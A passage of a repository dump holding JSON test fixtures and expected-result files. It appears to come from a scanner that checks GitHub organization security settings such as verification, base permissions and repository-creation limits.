\"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/fail2_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/pass_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": true,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/expected.yaml",
    "content": "pass:\n  - \"pass_org_metadata.json\"\nfail:\n  - \"fail_org_metadata.json\"\n"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/fail_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"maina@gmail.com\",\n    \"default_repository_permission\": \"write\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/pass_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"maina@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/expected.yaml",
    "content": "pass:\n  - \"pass_org_metadata.json\"\nfail:\n  - \"fail1_org_metadata.json\"\n  - \"fail2_org_metadata.json\"\n"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail1.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail1_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail2.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail2_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/pass.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/pass_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubIssueDeletionIsLimited/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n"
  },
  {
    "path": "tests/github/checks/repo_management/GithubIssueDeletionIsLimited/pass.json",
    "content": "{\n    \"CKV_GITHUB_DEFAULT\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/expected.yaml",
    "content": "pass:\n  - \"pass_org_metadata.json\"\nfail:\n  - \"fail1_org_metadata.json\"\n  - \"fail2_org_metadata.json\"\n"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail1.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 